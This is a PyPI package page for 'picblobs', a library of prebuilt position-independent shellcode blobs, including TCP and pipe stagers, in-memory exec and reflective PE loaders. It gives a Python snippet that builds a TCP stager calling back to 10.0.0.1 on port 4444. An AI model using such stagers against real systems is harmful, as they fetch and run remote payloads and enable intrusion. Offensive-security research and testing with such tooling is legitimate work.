Skip to main content

Position-independent code blob library

Project description

picblobs

picblobs ships prebuilt position-independent code blobs plus a Python API for selecting, inspecting, and assembling them.

The package contains the release-ready blob catalog:

  • manifest.json for target and blob discovery
  • Flat .bin payloads plus JSON sidecar metadata
  • A builder API for parameterized blobs such as alloc_jump, stager_tcp, stager_fd, stager_pipe, stager_mmap, ul_exec, and reflective_pe

This package does not bundle the cross-compiled runner executables used for QEMU-based execution and verification. Install picblobs-cli alongside it if you want the CLI commands or bundled runners.

Install

pip install picblobs

Python API

import picblobs
from picblobs import Blob

blob = picblobs.get_blob("hello", "linux", "x86_64")
print(blob.sha256)

stage = (
    Blob("linux", "x86_64")
    .stager_tcp()
    .address("10.0.0.1")
    .port(4444)
    .build()
)

CLI

The CLI now lives entirely in the companion package:

pip install picblobs-cli
picblobs-cli list
picblobs-cli info hello linux:x86_64
picblobs-cli extract hello linux:x86_64 -o hello.bin

Installing picblobs-cli also provides the bundled runners and the full build/run/verify toolchain:

picblobs-cli verify --os linux

Project Links

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

picblobs-0.1.5.tar.gz (552.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

picblobs-0.1.5-py3-none-any.whl (787.7 kB view details)

Uploaded Python 3

File details

Details for the file picblobs-0.1.5.tar.gz.

File metadata

  • Download URL: picblobs-0.1.5.tar.gz
  • Upload date:
  • Size: 552.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for picblobs-0.1.5.tar.gz
Algorithm Hash digest
SHA256 4e75537cb78c1a3db5be39c5ed7e4fe45f8dd97eb722921701e022c87a06d48b
MD5 fb2d1010726f0a65fe4f2e53e47f008f
BLAKE2b-256 e2f676efd23da433ea4a3a652e2a32bf118ad7d75c87c48a847a1812dda7204d

See more details on using hashes here.

Provenance

The following attestation bundles were made for picblobs-0.1.5.tar.gz:

Publisher: picblobs.yml on williamkborn/pic

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file picblobs-0.1.5-py3-none-any.whl.

File metadata

  • Download URL: picblobs-0.1.5-py3-none-any.whl
  • Upload date:
  • Size: 787.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for picblobs-0.1.5-py3-none-any.whl
Algorithm Hash digest
SHA256 2f32cef3ec28ee28f1d823eae6339a74d92d37baf499c7f770e9a532728900a5
MD5 9fe954a33db4836bad36912e5b446fb0
BLAKE2b-256 b2d7df06428ece4e8efe4857c68b9c3442a7c286fa1a8e8f27f498feb4d42327

See more details on using hashes here.

Provenance

The following attestation bundles were made for picblobs-0.1.5-py3-none-any.whl:

Publisher: picblobs.yml on williamkborn/pic

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page